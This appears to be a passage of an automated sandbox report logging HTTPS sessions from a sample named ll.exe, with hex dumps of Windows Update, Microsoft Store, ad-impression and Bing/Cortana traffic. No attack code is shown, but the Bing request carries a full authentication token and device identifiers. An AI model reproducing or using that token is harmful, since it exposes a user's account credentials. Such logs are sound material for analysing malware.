2022-04-08 08:02:27 UTC43INData Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2022-04-08 08:02:27 UTC57INData Raw: 3a 34 37 32 44 43 36 30 30 2d 46 45 41 42 2d 45 37 46 38 2d 37 32 30 44 2d 31 45 33 33 46 30 30 46 44 31 45 37 26 44 53 5f 45 56 54 49 44 3d 39 33 33 35 35 30 66 32 62 61 65 61 34 33 37 61 61 30 37 62 32 36 62 64 38 33 63 36 35 31 33 33 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 53 26 55 4e 49 44 3d 33 33 38 33 38 37 26 4d 41 50 5f 54 49 44 3d 32 44 34 46 42 36 33 44 2d 35 45 39 30 2d 34 39 33 41 2d 41 39 41 39 2d 38 39 31 30 30 44 30 44 44 35 36 42 26 4e 43 54 3d 31 26 50 4e 3d 44 41 36 33 44 46 39 33 2d 33 44 42 43 2d 34 32 41 45 2d 41 35 30 35 2d 42 33 34 39 38 38 36 38 33 41 43 37 26 41 53 49 44 3d 36 31 39 43 30 35 32 41 36 45 35 31 34 30 43 34 42 35 43 45 45 30 37 35 37 36 46 34 32 39 38 35 26 52 45
Data Ascii: :472DC600-FEAB-E7F8-720D-1E33F00FD1E7&DS_EVTID=933550f2baea437aa07b26bd83c65133&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=338387&MAP_TID=2D4FB63D-5E90-493A-A9A9-89100D0DD56B&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=619C052A6E5140C4B5CEE07576F42985&RE


Session IDSource IPSource PortDestination IPDestination PortProcess
70192.168.2.35004940.125.122.176443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:39 UTC9160OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:40 UTC9162INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: 1520d0b6-a979-4f3b-8943-44a80080d27a
MS-RequestId: ba7d0dc4-f931-4f80-908c-863e96edde55
MS-CV: vvBsoygK10KK2Vjp.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:39 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:40 UTC9163INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:40 UTC9178INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
71192.168.2.35005020.82.210.154443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:40 UTC9160OUTPOST /v3/Delivery/Events/Impression HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Content-Length: 1516
Content-Type: text/plain; charset=UTF-8
Host: arc.msn.com
Connection: Keep-Alive
Cache-Control: no-cache
2022-04-08 08:03:40 UTC9161OUTData Raw: 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 54 49 44 3d 37 30 30 31 32 39 37 30 32 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 30 34 30 32 39 32 36 26 42 49 44 3d 31 36 36 37 32 34 34 36 34 34 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 54 26 54 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 52 45 51 41 53 49 44 3d 35 46 34 42 36 43 38 39 42 32 43 38 34 36 36 30 39 46 33 45 31 46 35 35 33 42 42 34 38 41 33 37 26 41 53 49 44 3d 35 64 37 37 36 66 61 61 34 30 36 66 34 65 30 65 62 61 65 63 66 34 62 36 61 33 37 63 33 64 36 32 26 54 49 4d 45 3d 32 30 32 32 30 34 30 38 54 31 37 30 33 30 35 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 32 30 34 30 38 54 30 38 30 32 32 37 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 44 42
Data Ascii: PID=400091688&TID=700129702&CID=128000000000402926&BID=1667244644&PG=PC000P0FR5.0000000IRT&TPID=400091688&REQASID=5F4B6C89B2C846609F3E1F553BB48A37&ASID=5d776faa406f4e0ebaecf4b6a37c3d62&TIME=20220408T170305Z&SLOT=1&REQT=20220408T080227&MA_Score=2&PERSID=DB
2022-04-08 08:03:40 UTC9162INHTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/xml; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: []
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 08 Apr 2022 08:03:39 GMT
Connection: close
Content-Length: 0


Session IDSource IPSource PortDestination IPDestination PortProcess
72192.168.2.35005120.54.110.249443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:40 UTC9193OUTGET /v7.0/products/lookup?alternateId=PackageFamilyName&value=AmazonVideo.PrimeVideo_pwbj9vvecjh7j&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: +jUkz8/7C0maDbv2.0.2.4
Host: displaycatalog.mp.microsoft.com
2022-04-08 08:03:40 UTC9194INHTTP/1.1 200 OK
Connection: close
Date: Fri, 08 Apr 2022 08:03:40 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 51d6eeb3-869b-42b5-9bb6-980dc59f3cf0
MS-RequestId: 887aff01-7fb9-4f74-a841-eda09d36d8c7
MS-CV: +jUkz8/7C0maDbv2.0.2.4.422988576.0.1.422988577.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 85
Region: neu
Node: aks-systempool-37630073-vmss00002l
MS-DocumentVersions: 9P6RC76MSMMJ|1423
2022-04-08 08:03:40 UTC9194INData Raw: 37 61 66 38 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 50 36 52 43 37 36 4d 53 4d 4d 4a 22 5d 2c 22 48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 34 2d 30 35 54 31 36 3a 30 32 3a 30 38 2e 35 35 35 36 33 36 38 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 30 37 32 36 35 36 31 36 31 32 38 33 38 36 30 36 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65
Data Ascii: 7af8{"BigIds":["9P6RC76MSMMJ"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-04-05T16:02:08.5556368Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3007265616128386066","EISListingIdentifier":null,"BackgroundColor":"transpare
2022-04-08 08:03:40 UTC9198INData Raw: 30 35 2e 62 66 64 63 65 66 34 62 2d 39 36 62 65 2d 34 31 62 36 2d 62 65 38 65 2d 35 66 61 39 34 61 31 34 33 36 38 31 2e 38 31 36 62 34 65 61 38 2d 66 65 37 38 2d 34 65 66 30 2d 61 30 35 64 2d 64 32 64 62 36 35 39 38 34 66 32 61 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 30 35 32 35 36 33 36 30 33 39 34 33 35 39 32 37 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 30 30 33 36 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 22 49 6d
Data Ascii: 05.bfdcef4b-96be-41b6-be8e-5fa94a143681.816b4ea8-fe78-4ef0-a05d-d2db65984f2a","Width":66},{"FileId":"3060525636039435927","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":10036,"ForegroundColor":"","Height":88,"Im
2022-04-08 08:03:40 UTC9202INData Raw: 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 33 39 38 38 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 6a 4c 75 4f 74 76 78 30 50 6b 6a 76 75 71 59 75 6a 5a 35 78 56 46 33 50 61 67 71 51 66 59 6e 76 6c 36 76 44 58 4f 66 51 44 7a 59 3d 22 2c 22 55 72 69 22
Data Ascii: "EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":139885,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"jLuOtvx0PkjvuqYujZ5xVF3PagqQfYnvl6vDXOfQDzY=","Uri"
2022-04-08 08:03:40 UTC9206INData Raw: 31 37 34 31 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 30 39 31 39 33 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 37 36 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 6f 70 2f 37 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 46 6f 45 6a 51 53 43 33 41 4c 72 77 68 70 58 41 6f 77 37 35 4c 66 47 62 38 53 54 43 57
Data Ascii: 1741","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":1091931,"ForegroundColor":"","Height":768,"ImagePositionInfo":"Desktop/7","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"FoEjQSC3ALrwhpXAow75LfGb8STCW
2022-04-08 08:03:40 UTC9210INData Raw: 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 22 2c 22 50 61 63 6b 61 67 65 49 64 65 6e 74 69 74 79 4e 61 6d 65 22 3a 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 22 2c 22 50 75 62 6c 69 73 68 65 72 43 65 72 74 69 66 69 63 61 74 65 4e 61 6d 65 22 3a 22 43 4e 3d 43 41 46 43 34 36 46 37 2d 31 37 38 35 2d 34 44 32 32 2d 38 38 34 33 2d 36 32 42 42 32 33 45 39 39 41 43 45 22 2c 22 58 62 6f 78 43 72 6f 73 73 47 65 6e 53 65 74 49 64 22 3a 6e 75 6c 6c 2c 22 58 62 6f 78 43 6f 6e 73 6f 6c 65 47 65 6e 4f 70 74 69 6d 69 7a 65 64 22 3a 6e 75 6c 6c 2c 22 58 62 6f 78 43 6f 6e 73 6f 6c 65 47 65 6e 43 6f 6d 70 61 74 69 62 6c 65 22 3a 6e 75 6c 6c 7d 2c 22 41 6c 74 65 72 6e 61 74 65 49 64 73 22 3a 5b 7b 22 49 64 54 79
Data Ascii: o.PrimeVideo_pwbj9vvecjh7j","PackageIdentityName":"AmazonVideo.PrimeVideo","PublisherCertificateName":"CN=CAFC46F7-1785-4D22-8843-62BB23E99ACE","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdTy
2022-04-08 08:03:40 UTC9214INData Raw: 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 35 2e 30 5f 78 38 36 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 35 2e 30 5f 78 36 34 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 35 2e 30 5f 61 72 6d 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50
Data Ascii: content.bundledPackages\":[\"AmazonVideo.PrimeVideo_1.0.95.0_x86__pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.95.0_x64__pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.95.0_arm__pwbj9vvecjh7j\"],\"content.isMain\":false,\"content.packageId\":\"AmazonVideo.P
2022-04-08 08:03:40 UTC9218INData Raw: 48 6f 6c 6f 67 72 61 70 68 69 63 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 43 6f 72 65 22 7d 5d 7d 2c 22 45 6e 64 44 61 74 65 22 3a 22 39 39 39 38 2d 31 32 2d 33 30 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73 22 3a 5b 22 31 22 5d 2c 22 53 74 61 72 74 44 61 74 65 22 3a 22 31 37 35 33 2d 30 31 2d 30 31 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 7d 2c 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 34 2d 30 35 54 31 36 3a 30 32 3a 32 35 2e 35 37 38 30 37 36 32 5a 22 2c 22 4c 69 63 65 6e 73 69 6e 67
Data Ascii: Holographic"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Core"}]},"EndDate":"9998-12-30T00:00:00.0000000Z","ResourceSetIds":["1"],"StartDate":"1753-01-01T00:00:00.0000000Z"},"LastModifiedDate":"2022-04-05T16:02:25.5780762Z","Licensing
2022-04-08 08:03:40 UTC9222INData Raw: 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 35 2e 30 5f 78 38 36 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 35 2e 30 5f 78 36 34 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 35 2e 30 5f 61
Data Ascii: ndows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"AmazonVideo.PrimeVideo_1.0.95.0_x86__pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.95.0_x64__pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.95.0_a
2022-04-08 08:03:40 UTC9225INData Raw: 30 0d 0a 0d 0a
Data Ascii: 0


Session IDSource IPSource PortDestination IPDestination PortProcess
73192.168.2.35005240.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:42 UTC9225OUTGET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1667244644&PG=PC000P0FR5.0000000IRT&REQASID=5F4B6C89B2C846609F3E1F553BB48A37&UNID=338388&ASID=5d776faa406f4e0ebaecf4b6a37c3d62&PERSID=DBDE13DC697F71846A990CDFDC016FBD&GLOBALDEVICEID=6755432004667435&LOCALID=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&DS_EVTID=8450aad1a30f443d9720b7c7f2f80cff&DEVOSVER=10.0.17134.1&REQT=20220408T080227&TIME=20220408T170303Z&ARCRAS=&CLR=CDM HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:42 UTC9225INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: e1be6095-270d-44eb-86cf-472ebc6c8070
Date: Fri, 08 Apr 2022 08:03:41 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
74192.168.2.35005340.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:42 UTC9226OUTGET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1667244644&PG=PC000P0FR5.0000000IRT&REQASID=5F4B6C89B2C846609F3E1F553BB48A37&UNID=338388&ASID=5d776faa406f4e0ebaecf4b6a37c3d62&PERSID=DBDE13DC697F71846A990CDFDC016FBD&GLOBALDEVICEID=6755432004667435&LOCALID=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&DS_EVTID=8450aad1a30f443d9720b7c7f2f80cff&DEVOSVER=10.0.17134.1&REQT=20220408T080227&TIME=20220408T170307Z&ARCRAS=&CLR=CDM HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:42 UTC9226INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 9803d7ab-0499-4a37-ad20-680d627da505
Date: Fri, 08 Apr 2022 08:03:41 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
75192.168.2.350054204.79.197.200443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:46 UTC9227OUTPOST /threshold/xls.aspx HTTP/1.1
Origin: https://www.bing.com
Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init
Content-type: text/xml
X-MSEdge-ExternalExpType: JointCoord
X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40
X-PositionerType: Desktop
X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage
X-Search-SafeSearch: Moderate
X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}
X-UserAgeClass: Unknown
X-BM-Market: US
X-BM-DateFormat: M/d/yyyy
X-CortanaAccessAboveLock: false
X-Device-OSSKU: 48
X-BM-DTZ: -480
X-BM-FirstEnabledTime: 132061295966656129
X-DeviceID: 0100748C09004E33
X-BM-DeviceScale: 100
X-Search-TimeZone: Bias=480; StandardBias=0; TimeZoneKeyName=Pacific Standard Time
X-BM-Theme: 000000;0078d7
X-BM-DeviceDimensionsLogical: 1232x1024
X-BM-DeviceDimensions: 1232x1024
X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAVSBzJQ7SndUQxOscvEa3/5SXDkPufL/GU0E9StMSHM%2BBv9BrCWOBuPACB/HvUBkHG7KqfXcp/OlCf0lNBepJeoZa/GhInRKT2FV03IZcos5CD4i7bvSYXXyOXXV1aW2K6HZoPv6/fuJEL9ByKw8yy5thHZadWohgCAyM8AddCJzw7SYR3ef8oUGrfcIdQPbBgSsdjq1CgKG9qBcdhnJtbRLxzzqdWfsOiachqglOI30fXHosrPc6JWkyg/0sefV2HxnxO48CiVNvyxZCKbAdRckucw9OWft228cz9xjjqxI6ae9VAbs34gwpj%2BmRdyRWE%2B4NoTo3%2BSYTkZHwqp5xwYDZgAACDyXdYmos%2BHwqAEGhsAMzqUuSZn8aKnKgfsfzMIfZc9tCWVFSWusnQfpFI7m9uFOD2scDPcldl%2BT3%2BORhjJSS0hBMof9q%2Bn9njmJoRz08p0ZNg7nqHZHk2h9FKr600KqWUY65b2ylFh0itZo8VUANAPfFe25fdCAGKopLHGWyi49hwhaoptCWeF37t8l3U9m1A1WqiUYrLjIsrq1fEMaM1viW2w744bAFfECcDqstLM6n%2BljSJRwamgBTds654u/UHQTU7Gm3ZPa680vBOI%2BFPVCDhte1NbaKSeDqJOHuxnLf8baSUe%2BF/jRQJAxVgrym9Q9Ui9tUVy%2B/rEUubo6sZu4YCv55BMRTdFINRsmAI0z7%2BuBcTZHvgOM61YMIprvdkgeuMviej3UUXkGkhjO8YDaaZQvWpokXPXRyzyQDMoySC9XL3PP0FKRw528uwLo6KQ65awOvWkNtEgi8SbEjjn5D29jFNwGDTz9DHlRtImrrCq72pZP/Kz4gWxgiTqsJX0dIQkJdGhrX%2BjmYBa62uHPuh5aaCjX/mS7umGCAB4Yv9KMn/9EoRr8xhPT7oaMFJ5E1AE%3D%26p%3D
X-Agent-DeviceId: 0100748C09004E33
X-BM-CBT: 1646757043
X-Device-isOptin: true
X-Device-Touch: false
X-Device-ClientSession: A8428518F8734E219844F3AB426417E3
X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI
X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Host: www.bing.com
